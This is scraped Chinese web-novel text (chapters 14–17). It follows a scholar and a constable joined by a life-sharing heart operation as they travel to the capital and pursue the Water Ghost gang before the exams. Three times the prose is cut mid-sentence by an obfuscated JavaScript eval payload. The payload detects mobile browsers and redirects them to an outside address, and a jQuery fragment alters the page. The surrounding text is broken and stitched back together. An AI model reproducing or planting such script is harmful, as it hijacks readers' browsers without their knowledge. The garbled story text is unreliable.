一开始很微弱,像初生婴儿的第一声啼哭,细弱却顽强。渐渐地,跳动变得有力、规律,将新鲜的血液泵向江清砚全身。 苍白的脸上,渐渐有了血色。 薛大夫又转向谢云辞的胸腔。那里空荡荡的,只剩下几根断掉的血管。他将江清砚那颗残破的心脏放进去——不是要移植,而是作为一种“媒介”。 “同生共死之术,关键在于两心相连。”薛大夫一边缝合,一边对助手讲解,“需将两颗心脏的部分组织融合,建立血脉相通。如此,生机才能共享。” 他将两颗心脏的残存组织小心对接,用特制的药膏涂抹,再用羊肠线缝合。那药膏呈暗金色,据说是用数十种珍稀药材炼制而成,有促进组织生长融合的神效。 当最后一线缝合完成时,异象发生了—— 两颗心脏,明明隔着两个人的胸膛,却开始同步跳动! 咚、咚、咚…… 节奏完全一致,仿佛是同一个人体内的心脏。 而随着心脏的同步搏动,江清砚和谢云辞的呼吸也开始同步,胸口起伏的频率一模一样。 “成了。”薛大夫终于露出一丝疲惫的笑容,“同生共死,血脉相连。从此,他们便是真正的……同命人了。” 他示意助手缝合两人的胸腔切口。自己则走到一旁的水盆边,慢慢洗手,洗去满手的血迹。 净室的门被轻轻推开。 李尚书站在门外,没有进来,只是静静看着里面的一切。当他看到两张床上的人胸口都已缝合,呼吸平稳同步时,眼中闪过复杂的神色。 “薛大夫,辛苦了。”他低声道。 “分内之事。”薛大夫擦干手,“接下来三天是关键期。他们需要绝对静养,不能移动,不能受刺激。尤其是江清砚——他身体太弱,虽然换了心,但能否适应还是未知数。” “需要什么药材、器械,尽管开口,刑部全力支持。” 薛大夫点点头,又道:“还有一事——手术虽成,但毕竟逆天改命。从今往后,他们每月月圆之夜必会心脉逆冲,痛苦难当。且两人性命相连,一荣俱荣,一损俱损。此事……还望尚书大人保密。” 李尚书沉默片刻,缓缓道:“本官明白。此事只有这屋里的人知道,不会外传。” 他顿了顿,看向床上两人:“他们何时能醒?” “最快明日,慢则三五日。”薛大夫道,“假死药的药效需要时间消退,且身体需要适应新的心脏。” 李尚书不再多问,转身离开。脚步声渐远。 净室里重归寂静。 两个助手开始收拾器械,动作轻手轻脚。薛大夫则坐在一旁的椅子上闭目养神,他年事已高,这般大手术耗神极大。 烛火摇曳,将床上两人的影子投在墙上,时而交叠,时而分开。 谢云辞醒来时,最先感受到的是痛。 胸口像是被撕裂后又粗糙地缝合,每一次呼吸都牵扯着剧痛。他艰难地睁开眼,视线模糊,只能看到头顶青灰色的帐幔。 这是……哪里? 记忆如潮水般涌来:刑部正堂,江清砚倒下,假死药,手术…… 江清砚! 他猛地想坐起,却牵动伤口,闷哼一声又跌回床上。 “别动。”一个苍老的声音响起,是薛大夫。 谢云辞艰难地转头,看到薛大夫正坐在窗边的椅子上,就着晨光翻阅一本医书。窗外鸟鸣清脆,已是次日清晨。 “他……怎样?”谢云辞声音嘶哑,每个字都像砂纸磨过喉咙。 薛大夫放下书,走过来查看他的伤口:“手术很成功。你们现在共用一颗心,他的命保住了,你的也还在。” 共用一颗心。 谢云辞下意识地按住自己的胸口——那里,心跳有力而规律。但他能感觉到,这心跳有些不同,仿佛……还有另一个频率在深处共鸣。 他转过头,看向旁边那张床。 江清砚静静躺着,脸色依旧苍白,但已不是死气沉沉的灰白,而是有了些微的血色。他的呼吸平稳绵长,胸口随着呼吸轻轻起伏。 还活着。 谢云辞闭上眼,长长地、无声地松了一口气。 “你感觉如何?”薛大夫问。 “痛。”谢云辞如实道,“胸口像被撕开过。” “正常。毕竟是开胸手术。”薛大夫给他把了脉,点头,“恢复得不错。但记住,三个月内不能动武,不能剧烈活动。你们的命现在连在一起,你若有恙,他也会受影响。” 谢云辞点头,又问:“他什么时候能醒?” “快了。”薛大夫看了看江清砚,“他的身体在适应新的心脏,需要时间。也许今日,也许明日。” 正说着,床上的人忽然睫毛颤了颤。 谢云辞呼吸一滞。 江清砚缓缓睁开眼。眼神先是迷茫,聚焦,然后看到了谢云辞。 四目相对。 那一瞬间,谢云辞看到江清砚眼中闪过无数情绪:困惑、茫然、惊愕,最后是……了然的悲伤。 他知道了。 他知道谢云辞为他做了什么。 “你……”江清砚开口,声音虚弱得像叹息,“何苦……” 谢云辞却笑了。那笑意很浅,却发自真心。 “我说过,要护你到京城。”他轻声道,“我做到了。” 江清砚闭上眼睛,一滴泪从眼角滑落,没入鬓发。 薛大夫识趣地退出净室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他顿了顿,声音微沉:“第二……关于你们二人。同生共死之事,本官已下令保密,只有少数几人知晓。但你们毕竟身份特殊,一个是要参加会试的举子,一个是六扇门总捕头。如今性命相连,日后行事,需更加谨慎。” 江清砚和谢云辞对视一眼,都明白李尚书的意思。 科举、仕途、公务……他们未来的路,注定要比常人艰难得多。 “学生明白。”江清砚轻声道。 “下官明白。”谢云辞亦道。 李尚书看着他们,忽然从袖中取出一枚令牌,放在江清砚枕边。 那是一枚玄铁令牌,正面刻“六扇门总捕”,背面是一个篆体的“谢”字。 正是谢云辞那枚。 “此令在京中还有些用处。”李尚书看着江清砚,“你身体尚未恢复,科举在即,难免有人趁机生事。持此令,可挡些麻烦。” 江清砚怔住:“这……” “收着吧。”谢云辞开口,“李尚书说得对,你现在需要这个。” 江清砚看着那枚沉甸甸的令牌,又看向谢云辞,最终轻轻点头:“多谢尚书大人,多谢……谢兄。” 李尚书站起身:“你们好生休养。三日后若恢复得好,江清砚可回客栈准备科举;谢云辞暂留刑部,协助查案。” 他顿了顿,又道:“记住,你们的命现在连在一起。凡事……三思而后行。” 说罢,他转身离开。 净室里又只剩下两人。 江清砚拿起那枚令牌,在手中摩挲。玄铁冰凉,却仿佛还带着谢云辞的体温。 “持此令,京城无人敢轻易动你。” 那日破庙分别时,谢云辞的话犹在耳边。 如今,这枚令牌真的到了他手里。 而他们,也真的成了同命相连的人。 “谢云辞。”江清砚忽然叫他的名字。 “嗯?” “等此案了结,等科举结束……”江清砚看向他,目光清澈而坚定,“我们一起去查你家的旧案。你的仇,我帮你报。” 谢云辞怔住了。 他看着江清砚苍白却认真的脸,胸中那颗共同的心脏,忽然跳动得快了一拍。 “好。”许久,他听见自己说,“一言为定。” 窗外,晨光正好。 而属于他们的路,才刚刚开始。 15. 第 15 章 第十五章京城在望 三日后,刑部后门。 一辆不起眼的青篷马车停在角门外,车夫是个穿着粗布衣裳的精壮汉子,眼神锐利,腰背挺直——那是刑部特意安排的护卫,扮作车夫模样。 薛大夫将最后两瓶药塞进江清砚手里:“白瓶内服,早晚各一粒,固本培元。青瓶外敷,伤口若痛可涂抹少许,但不可过量。” 他顿了顿,看着江清砚依旧苍白的脸,还是忍不住叮嘱:“切记,三个月内不可劳累,不可动气。你的身体虽然换了心,但底子太弱,需要时间慢慢调理。尤其月圆之夜……若心脉逆冲发作,立刻服下这粒药。” 他又取出一枚赤色药丸,用油纸仔细包好,递给江清砚。药丸只有指甲盖大小,却散发着浓烈刺鼻的气味,显然不是凡品。 江清砚接过药瓶和药丸,深深一揖:“薛大夫救命之恩,学生没齿难忘。” 薛大夫摆摆手:“行了,走吧。记住按时服药,按时回来复诊。” 江清砚点头,在谢云辞的搀扶下上了马车。他的动作还有些迟缓,胸口缝合处虽已愈合大半,但每一次牵动仍会传来隐痛。 谢云辞随后上车,在他对面坐下。两人都换了寻常布衣,江清砚是一身半旧的月白直裰,谢云辞则是靛青短打,看起来就像两个结伴赶考的书生和护卫。 马车缓缓驶动,车轮碾过青石板路,发出单调的轱辘声。 江清砚撩开车窗帘一角,看向窗外。这是他来京城后,第一次真正看清这座城市的模样。 街道比润州宽阔数倍,两旁店铺鳞次栉比,酒旗招展。行人如织,车马如龙,叫卖声、谈笑声、马蹄声、车轮声……各种声音交织在一起,汇成京城独有的繁华喧嚣。 空气里弥漫着复杂的气味:早点摊子的油香、胭脂铺的甜香、药材店的苦香,还有街边污水沟隐约的腐臭——这就是京城,光鲜与污浊并存,繁华与危机共生。 马车转过一个街角,前方豁然开朗——那是京城的主干道,朱雀大街。街道尽头,巍峨的皇城城墙遥遥在望,琉璃瓦在晨光下泛着金芒。 江清砚望着那一片金碧辉煌,忽然觉得胸口那颗心脏跳动得快了些。 那不是他的紧张,是谢云辞的。 他抬眼看向对面。谢云辞也正望着皇城方向,眼神复杂,有敬畏,有向往,还有……深藏眼底的恨意。 “谢家旧案……”江清砚轻声开口,“仇家就在那里面?” 谢云辞收回目光,沉默片刻,点了点头。 “家父曾是兵部侍郎。”他缓缓道,声音平静得像在说别人的事,“六年前,北疆战事吃紧,家父负责粮草调度。有人诬陷他贪污军饷、私通敌国,圣上下旨查办。一夜之间,谢府被抄,家父被押入天牢,三日后……死于狱中。” 他顿了顿,指尖无意识地摩挲着袖口:“家母当夜悬梁自尽。阿姐……带着我逃出府,却在城外被追兵赶上。她将我藏进枯井,自己引开追兵……再也没回来。” 马车里一片死寂。 只有车轮碾过石板的声音,单调而沉重。 江清砚看着他紧抿的唇,看着他眼中极力压抑的痛苦,忽然明白了——为什么这个少年年纪轻轻就满手血腥,为什么他对自己那么狠,为什么他能在茶棚那场厮杀中眼睛都不眨。 因为他的世界,早就被血洗过一遍了。 “你阿姐……”江清砚轻声问,“她还活着吗?” 谢云辞摇头,从怀中取出那枚褪色的平安扣,握在掌心:“我只找到这个。在追兵丢弃的杂物里。” 铜扣冰凉,边缘已被摩挲得光滑。那是他在这世上,仅存的与家人的联系。 江清砚看着那枚平安扣,忽然伸手,轻轻覆在谢云辞的手上。 “我帮你。”他说,声音不大,却异常坚定,“等科举结束,等水鬼帮的案子了结,我们就去查。无论仇家是谁,无论他在哪里……我们一起,把他揪出来。” 谢云辞抬眼看他。 晨光透过车帘缝隙,在江清砚脸上投下斑驳光影。那张脸依旧苍白清瘦,眼神却清澈明亮,像深潭映着天光。 他忽然想起破庙初遇那夜,也是这样一双眼睛,干净得让人自惭形秽。 “好。”谢云辞听见自己说,“我们一起。” 马车驶过朱雀大街,转入一条稍窄的街道。这里是京城的“文曲街”,街道两旁多是客栈、书肆、文房铺子,往来行人多是书生打扮,空气中飘着墨香和纸张特有的气味。 “悦来客栈”就在街中段,是家老字号,门面不大,却收拾得干净。刑部提前打点过,掌柜的见马车停下,立刻迎了出来。 “可是江公子和谢公子?”掌柜约莫五十来岁,一脸和气,“房间已经备好了,二楼最里间的雅室,清静,适合读书。” 谢云辞扶着江清砚下车,冲掌柜点了点头:“有劳。” 两人跟着掌柜进了客栈。大堂里坐着几个书生,正在喝茶闲谈,见他们进来,都好奇地打量——尤其是看到谢云辞腰间那柄匕首时,眼神更添几分探究。 掌柜引他们上了二楼。雅室在最里间,果然清静,窗外是个小庭院,栽着几丛翠竹。房间不大,但整洁,两张床铺,一张书桌,还有个小小的暖炉。 “二位先歇着,饭菜一会儿送来。”掌柜殷勤道,“有什么需要,尽管吩咐。” 谢云辞道了谢,等掌柜离开后,关上门,仔细检查了一遍房间——门窗结实,墙壁无暗格,床铺干净。他这才稍稍放心。 江清砚在床边坐下,胸口又传来隐痛。他取出薛大夫给的药,服下一粒,闭目调息片刻,才觉得好些。 “你的伤……”他看向谢云辞。 “无碍。”谢云辞解开衣襟,露出胸口那道已经结痂的伤疤——缝合的痕迹还在,像一条蜈蚣爬在胸膛上,“薛大夫的药很好,愈合得很快。” 江清砚看着他胸口的伤疤,又摸了摸自己胸口同样的位置——那里也有一条疤,只是被衣襟遮住了。 同生共死。 他们身上,永远留下了彼此的印记。 敲门声响起,是小二送饭菜来了。简单的三菜一汤,都是清淡滋补的菜色,显然是特意吩咐过的。 两人默默吃饭。江清砚吃得很少,几口就饱了;谢云辞则风卷残云,很快将饭菜扫荡一空——他身体底子好,恢复得快,食欲也恢复得快。 饭后,江清砚走到书桌前,从行李中取出书卷。离会试只剩不到一个月,他必须抓紧时间温习。 谢云辞则坐在窗边,擦拭那柄匕首。刀身在晨光下泛着幽蓝的光,这是他用了多年的兵器,刀柄上甚至留下了他指节的凹痕。 房间里一时只有翻书声和擦刀的轻响,竟有种奇异的和谐。 忽然,窗外传来一阵喧哗。 江清砚抬起头,见谢云辞已走到窗边,撩起帘子一角向外看去。 街道上,一队官差正押着几个人走过。那几个被押的人衣衫褴褛,戴着枷锁,神情麻木。看衣着,像是运河上的漕工。 “听说没?水鬼帮被端了!”楼下传来书生的议论声。 “真的假的?不是说那帮人神出鬼没,官府抓了几年都没抓到吗?” “千真万确!我舅舅在刑部当差,说是蓟州那边破了案,抓了好几十号人,连京城这边都牵扯进去了!” “啧啧,这案子可不小啊……” 江清砚和谢云辞对视一眼。 刑部的动作比预想的快。 “看来李尚书已经开始收网了。”谢云辞低声道。 江清砚点头,却又蹙起眉:“但观澜书院和都水司那边……” “急不得。”谢云辞放下帘子,“那些都是树大根深,没有铁证,动不了。李尚书是聪明人,知道什么时候该快,什么时候该慢。” 他说着,看向江清砚:“你现在要做的,是安心备考。水鬼帮的案子,有我盯着。” 江清砚看着他,忽然笑了:“你现在可是和我命连在一起,若我考不上,你也要跟着我回乡种地。” 谢云辞一愣,随即也笑了:“那也不错。总比在六扇门刀头舔血强。” 这话说得轻松,两人却都知道是玩笑。谢云辞的仇还没报,江清砚的科举路也才刚刚开始,他们注定要在京城这片漩涡里,继续挣扎前行。 接下来的日子,过得平静而规律。 江清砚每日读书、温习,累了就闭目养神。谢云辞则早出晚归,说是去“访友”,实则是去刑部打探消息,协助查案。 两人同住一室,却默契地保持着距离——江清砚睡里侧的床,谢云辞睡外侧;江清砚读书时,谢云辞就坐在窗边,或是擦拭兵器,或是闭目养神;吃饭时一起,却很少交谈。 但江清砚能感觉到,谢云辞始终在注意着他的状况。夜里他若咳嗽,谢云辞会立刻醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863491|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来;他若读书太久,谢云辞会提醒他休息;甚至他心脉稍有不适,谢云辞那边也会有感应——因为他们的心跳是同步的。 这诡异的联结,让他们在沉默中,建立了一种更深层的默契。 七日后,谢云辞带回一个消息。 “观澜书院的山长,柳文渊,告病了。”他关上门,低声道,“说是感染风寒,闭门谢客。但据刑部暗探回报,柳府这几日进出的,多是都水司的官员。” 江清砚放下书:“他们在串供?” “恐怕是。”谢云辞在桌边坐下,“水鬼帮几个小头目招供,说确实往观澜书院送过‘文货’,但咬死是底下人私自做主,与书院无关。都水司那边更干净,所有账目都做得天衣无缝,暂时抓不到把柄。” “那药庐呢?” “药庐的主事人跑了。”谢云辞冷笑,“留下一座空宅子,所有证据都被销毁。但我们在密室里发现了一样东西——” 他从怀中取出一个小布包,打开,里面是几枚铜钱。不是普通的铜钱,而是特制的,边缘有细密的锯齿,中间穿孔,系着褪色的红绳。 “这是……”江清砚拿起一枚细看。 “水鬼帮用来联络的信物。”谢云辞道,“我们在药庐密室的暗格里找到的,藏在墙砖后面,没来得及销毁。一共有七枚,对应七个联络点。” 他指着铜钱边缘的锯齿:“齿数不同,代表不同的联络点。我们对照了缴获的账本,已经锁定了其中三个——一个在京城西市,一个在城南码头,还有一个……” 他顿了顿,看向江清砚:“在贡院附近。” 江清砚心头一跳。 贡院,科举考场。 水鬼帮在贡院附近有联络点,这意味着什么? “他们……还想在科举上动手脚?”他声音发紧。 “恐怕是。”谢云辞收起铜钱,“但具体要做什么,还不知道。李尚书已经派人暗中监控那个联络点,希望能钓出大鱼。” 江清砚沉默良久,忽然道:“谢兄,我有个想法。” “说。” “既然他们要动手,不如……将计就计。” 谢云辞抬眼看他。 江清砚的眼神清亮而冷静,像深冬的湖水,表面平静,底下却有暗流涌动。 “他们若真要在科举上做文章,必定会找机会接触考生。而我,”他顿了顿,“是揭了水鬼帮老巢的人,又是赶考举子,对他们来说,既是眼中钉,也是……最好的棋子。” 谢云辞脸色骤变:“你想以身作饵?!” “不是饵,是引子。”江清砚平静道,“我会按部就班准备科举,该读书读书,该赴考赴考。他们若真敢动手,必然会露出马脚。到时候,你们就能抓现行。” “太危险了!”谢云辞站起身,“你现在什么身体状况自己不清楚吗?若是考场上有变故,你——” “我有你。”江清砚打断他,看着他,“你说过,要护我到京城。现在到了京城,这承诺……还作数吗?” 谢云辞愣住了。 他看着江清砚苍白却坚定的脸,胸中那颗共同的心脏,忽然剧烈地跳动起来。 同生共死。 是啊,他们已经同生共死了。江清砚若有危险,他也逃不掉。 既然如此……不如主动出击。 “你……”谢云辞咬牙,“真是疯了。” “读书人,总要有些明知山有虎的勇气。”江清砚轻轻笑了笑,“况且,这是我唯一能做的事——揭开水鬼帮的盖子,是我开的头。那么,就该由我来收尾。” 窗外,暮色四合。 京城的万家灯火次第亮起,将这座古老的城市笼罩在温暖的光晕里。 但光明之下,暗流依旧汹涌。 谢云辞看着江清砚,许久,终于缓缓点了点头。 “好。”他说,“我陪你。” 一字千钧。 江清砚笑了,那笑意很浅,却直达眼底。 他转过身,重新拿起书卷,就着昏黄的烛光,继续温习。 窗外,更夫敲响了梆子。 一更天了。 离会试,还有二十天。 而一场隐藏在科举背后的风暴,正在悄然酝酿。 他们不知道前方是什么,但既然选择了同行,便只能往前走。 京城在望。 而他们的路,才刚刚开始。 16. 第 16 章 第十六章客栈风波 京城连下了三日雨,到了第四日终于放晴。 文曲街的石板路被雨水洗得发亮,空气中弥漫着潮湿的泥土气和隐约的花香——街角那棵老槐树开花了,细碎的白花缀满枝头,风一吹,便簌簌落下,铺了半条街。 悦来客栈里,江清砚正在温习《礼记》。他坐在窗边的书桌前,面前摊开着厚厚的典籍,手中握着一支狼毫小楷,不时在旁边的宣纸上批注几句。晨光透过窗纸,在他苍白的侧脸上镀了一层淡金,长睫低垂,神情专注得仿佛周遭一切都与他无关。 谢云辞坐在他对面,面前也摊着一本书——不是经史子集,而是《大周刑律》。这是他从六扇门借来的,书页泛黄,边角翻卷,显然经常被翻阅。他看得很快,偶尔停在一页上,眉头微蹙,手指在某个条目上轻轻敲击,像是在记忆什么。 两人就这么安静地对坐着,只有翻书声和笔尖划过纸面的沙沙声。 忽然,楼梯上传来杂沓的脚步声,还有少年人特有的、张扬的笑闹声。 “李兄,这悦来客栈看着不怎么样,不如换去同福楼?我家在那边有常包房。”一个清亮的声音说道,带着江南口音特有的软糯。 “王贤弟客气了,此处清净,正适合读书。”另一个声音温文尔雅,“况且……听说这客栈里住了位有趣的同窗。” 脚步声在二楼停下,随即响起叩门声。 “请问,江清砚江公子可是住在此处?” 江清砚笔尖一顿,抬起头。谢云辞已放下书,走到门边,却没有立刻开门。 “何事?”他隔着门问,声音冷淡。 门外沉默了一瞬,随即那温文的声音再次响起:“在下李慕言,苏州人士,与江公子曾有一面之缘。听闻他也住在此处,特来拜访。” 李慕言? 江清砚想起来了——老君洞里那个被救的苏州才子。他竟也到了京城,还找到了这里。 谢云辞回头看他,眼中带着询问。江清砚轻轻点头。 门开了。 门外站着两个少年,俱是锦衣华服,气质不凡。前面一人约莫十七八岁,面容清秀,眉眼温润,正是李慕言。他身后那人略小一些,圆脸大眼,一副活泼模样,应该就是刚才说话的“王贤弟”。 李慕言看到开门的谢云辞,先是一怔,随即目光越过他,看到了窗边的江清砚。他眼睛一亮,快步上前,深深一揖:“江兄,果真是你!” 江清砚放下笔,起身还礼:“李兄,别来无恙?” “托福,托福。”李慕言直起身,眼圈却微微泛红,“若非江兄和谢兄相救,慕言早已葬身那暗无天日的洞穴。此恩此德,没齿难忘。” 他身后的少年也跟了进来,好奇地打量着江清砚和谢云辞,目光尤其在谢云辞腰间的匕首上多停留了一瞬。 “这位是?”江清砚看向那少年。 “哦,这位是王璞,金陵人士,与慕言同船北上,如今也住在悦来客栈。”李慕言介绍道,“王贤弟,这位就是我对你说的江清砚江兄,那位是谢云辞谢兄。” 王璞上前,抱了抱拳,笑嘻嘻道:“久仰久仰。李兄一路都在说二位的事迹,听得我心向往之。今日一见,果然气度不凡。” 他说得热闹,江清砚却只是淡淡一笑:“王公子过奖。二位请坐。” 四人重新落座。李慕言这才注意到书桌上的《礼记》和江清砚手边的批注,惊讶道:“江兄还在温书?离会试只剩半月有余,该放松些了。” “笨鸟先飞罢了。”江清砚随口道,“倒是李兄,恢复得如何?” “已无大碍。”李慕言轻叹一声,“只是夜里偶尔还会梦见那些……不提也罢。倒是江兄,你身体似乎……” 他说着,目光落在江清砚依旧苍白的脸上,又看了看他手边那个装药的玉瓶,眼中露出担忧。 “老毛病,不碍事。”江清砚岔开话题,“李兄和王公子此来京城,也是赴考?” “正是。”王璞抢着答道,“我和李兄都报了今科会试。不过嘛——”他眨眨眼,压低声音,“我们还有件重要的事要做。” “哦?” 李慕言接过话头,神色变得严肃:“江兄可知,京城这几日,出了件怪事?” 江清砚与谢云辞对视一眼:“愿闻其详。” “京城里接连有三家书肆被窃。”李慕言道,“被偷的不是金银,也不是孤本典籍,而是……考生的文集和模拟试题。” 江清砚心中一动。 “更奇怪的是,”李慕言继续说,“这几家书肆被盗的时间,都在夜里。守卫森严,却无一人察觉。现场只留下一枚铜钱——” 他从袖中取出一枚铜钱,放在桌上。 铜钱边缘有细密的锯齿,中间穿孔,系着褪色的红绳。 和谢云辞从药庐带回来的,一模一样。 谢云辞眼神骤然锐利。他拿起那枚铜钱仔细查看——齿数是十七,与药庐那七枚都不同。 “这铜钱,李兄从何处得来?”他沉声问。 “是‘墨香斋’的掌柜给我的。”李慕言道,“墨香斋是第三家被盗的书肆。掌柜的说,这铜钱就放在失窃的书架上,像是……故意留下的。” “故意留下?”江清砚蹙眉,“为何?” “挑衅。”谢云辞冷冷道,“或者说,标记。” 标记什么? 标记他们的目标? 江清砚忽然想起谢云辞之前的话——水鬼帮在贡院附近有联络点。而书肆被盗的文集和试题,都与科举相关…… “李兄可知道,被盗的都是哪些文集?”他问。 李慕言从怀中取出一张纸,展开:“我让掌柜的列了清单。你看——” 纸上列着十几本书名:《江南三杰文集》《北地才子策论》《会试十年真题详解》……都是市面上热销的科举参考书。 但江清砚注意到,这些书的作者,大多是江南、江北有名望的举子,其中几位……他依稀记得,似乎也在水鬼帮的账本上出现过。 “这些书的作者,”他指着清单,“李兄可都认识?” 李慕言仔细看了看,摇头:“只认识两三位,都是江南有名的才子。其他的……不甚了解。” “那他们现在何处?” “这就不知道了。”李慕言道,“不过我听说,其中几位今年也报了会试,应该都在京城。” 江清砚沉默片刻,忽然问:“李兄和王公子此来,就是为了查此事?” “正是。”王璞又抢着道,“我和李兄觉得此事蹊跷,恐怕与科举有关。我们都是读书人,自然不能坐视不理。” 他说得义正词严,江清砚却从他眼中看出一丝兴奋——那是少年人对冒险的向往。 “二位勇气可嘉。”江清砚轻声道,“但此事恐有凶险,还是……” 话未说完,楼梯上又传来脚步声,这次更杂乱,还夹杂着粗鲁的呼喝声。 “就是这里?那个病秧子住这儿?” “错不了,二楼最里间。掌柜的说,还带了个带刀的家伙,看着就不像好人。” 脚步声在门外停住,“砰”的一声,门被粗暴地踢开了。 门外站着三个锦衣公子,个个面色不善。为首的是个二十出头的青年,身形微胖,穿着宝蓝色织锦袍,腰间挂着一块羊脂玉佩,脸上带着傲慢的神色。他身后两人一高一矮,也都是富家公子打扮,眼神轻蔑地扫视着屋内。 “你们是谁?”谢云辞缓缓站起身,手已按在腰间匕首上。 蓝衣公子看也不看他,目光直接落在江清砚身上,上下打量一番,嗤笑一声:“你就是江清砚?那个从蓟州来的病秧子?” 江清砚面色不变:“正是在下。阁下是?” “本公子姓赵,单名一个‘炎’字。”蓝衣公子昂着头,“家父是吏部侍郎赵文远。听说你揭了水鬼帮的案子,很出风头啊?” 这话说得阴阳怪气,李慕言和王璞脸色都变了。赵炎的父亲是吏部侍郎,正三品大员,在京城是实权人物。这样的官宦子弟,他们得罪不起。 江清砚却只是淡淡一笑:“赵公子过奖。学生只是恰逢其会,不敢居功。” “恰逢其会?”赵炎冷笑,“我看是哗众取宠吧?一个病秧子,还能破案?别是编出来博名声的?” 他身后的高个子公子附和道:“就是!赵兄说得对!这种乡下来的穷酸,最会耍这种手段。还带个带刀的护卫,装得跟什么似的。” 矮个子也嗤笑:“说不定那案子就是他自导自演的呢?为了在科举前造势,真是用心良苦啊。” 这话已经不只是挑衅,而是赤裸裸的污蔑了。 李慕言气得脸色发白,正要开口,却被王璞拉住了——王璞冲他使了个眼色,轻轻摇头。 谢云辞的手已经握住了匕首柄。他眼神冷得像冰,盯着赵炎三人,只要他们再敢多说一句…… “赵公子。” 江清砚忽然开口,声音依旧平静,却带着一种不容置疑的力度。 “学生是否哗众取宠,自有公论。倒是赵公子——您今日登门,若只是来说这些闲话,那恕学生不奉陪了。学生还要温书,准备会试。” 他顿了顿,抬起眼,目光清亮地看着赵炎:“毕竟,科举场上,凭的是真才实学,不是家世背景。” 这话说得不卑不亢,却字字诛心。 赵炎脸色瞬间涨红。他本是想来给这个出风头的乡下小子一个下马威,却没想到对方如此镇定,还反过来暗讽他靠家世。 “你……”他指着江清砚,气得发抖,“好一个牙尖嘴利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“齿数不同,但制式一样。”他轻声道,“红绳的系法也相同——是‘同心结’的变种,江湖上某些帮派用来传递暗号。” 他抬起头,看向谢云辞:“谢兄,六扇门可有关于这种铜钱的记录?” 谢云辞沉思片刻,摇头:“没有。但可以查。” “那就麻烦谢兄了。”江清砚将铜钱还给了慕言,“李兄,这铜钱你收好。书肆失窃的事,我会留意。但你们……暂时不要轻举妄动。” 李慕言点头,犹豫片刻,又道:“江兄,还有一事……我听说,赵炎最近常去‘春风阁’。” 春风阁,京城有名的青楼,也是达官显贵、文人墨客常去的地方。 “他去青楼,与我何干?”江清砚不解。 “不是……”李慕言压低声音,“我有个同乡在春风阁当差,他说……赵炎最近在那里,常和一些书生模样的人密谈。谈的内容,似乎与……科举有关。” 江清砚眼神一凝。 科举。 又是科举。 水鬼帮、书肆失窃、赵炎、春风阁…… 这些看似无关的线索,像一张网,正渐渐收拢。 而网的中心,似乎就是即将到来的会试。 “李兄,”江清砚缓缓道,“你那同乡,可能打听到更多?” “我可以试试。”李慕言道,“但他胆子小,不一定敢多说。” “无妨,尽力就好。”江清砚顿了顿,“但切记,安全第一。若察觉危险,立刻停手。” 李慕言郑重地点头。 又闲聊了几句,李慕言和王璞便告辞离开了。 房间里重归寂静。 谢云辞走到窗边,看着楼下街道——赵炎三人早已不见踪影,只有行人来来往往,一派太平景象。 “赵文远……”他喃喃道,“吏部侍郎……” 江清砚也走到窗边,与他并肩而立。 “谢兄觉得,赵炎今日是巧合,还是……有人指使?” “不像巧合。”谢云辞摇头,“他知道你揭了水鬼帮的案子,显然是有人告诉他的。而且来得这么巧,正好在李慕言提到书肆失窃之后。” 他顿了顿,眼神更冷:“恐怕,是有人想试探你。” “试探我什么?” “试探你知道多少,试探你会不会插手书肆的案子,试探你……”谢云辞转头看他,“会不会成为他们计划里的变数。” 江清砚沉默良久,忽然轻轻笑了。 “那他们可能要失望了。”他轻声道,“我这人,最不喜欢按别人的计划走。” 窗外,阳光正好。 老槐树的花瓣随风飘落,像细碎的雪。 而暗流,已在平静的表象下,悄然涌动。 17. 第 17 章 第十七章雅间叙旧 赵炎三人走后,悦来客栈重归平静。掌柜的闻声上楼,见房门完好,江清砚和谢云辞也安然无恙,这才松了口气,连声道歉,说是没拦住那几位公子。 江清砚温言安抚了几句,掌柜的千恩万谢地下去了。房门重新关上,谢云辞走到窗边,撩起帘子一角,看着楼下街道——赵炎三人早已不见踪影,但街角多了两个蹲在路边的小贩,目光却时不时瞟向客栈方向。 “尾巴。”谢云辞低声道,“赵炎留的。” 江清砚也走到窗边,只瞥了一眼就收回目光:“无妨,让他们盯着。我们越若无其事,他们越摸不清底细。” 他重新坐回书桌前,拿起笔继续批注《礼记》,神情专注,仿佛刚才那场风波从未发生。 谢云辞看了他片刻,也坐回原位,拿起那本《大周刑律》。两人又恢复了对坐读书的状态,房间里只有笔尖划纸的沙沙声。 午时刚过,楼梯上又传来脚步声。 这次的脚步声很轻,很稳,只有一个人。脚步声停在门外,叩门声响起——三声,不疾不徐。 谢云辞放下书,起身开门。 门外站着一个中年文士,青衫布履,面容清癯,正是刑部尚书李崇明。他换了便服,看起来像个普通的教书先生,只是眼神锐利依旧。 “李大人。”谢云辞侧身让开。 李崇明点点头,走进房间,目光扫过书桌上的典籍和江清砚苍白的脸,微微皱眉:“身体可好些了?” 江清砚放下笔,起身行礼:“学生无碍,多谢大人关心。” 李崇明摆手示意他坐下,自己在桌边另一张椅子上坐下,从袖中取出一个小布包,放在桌上。 布包里是几枚铜钱——与李慕言那枚一样,边缘有锯齿,中间穿孔,系红绳。 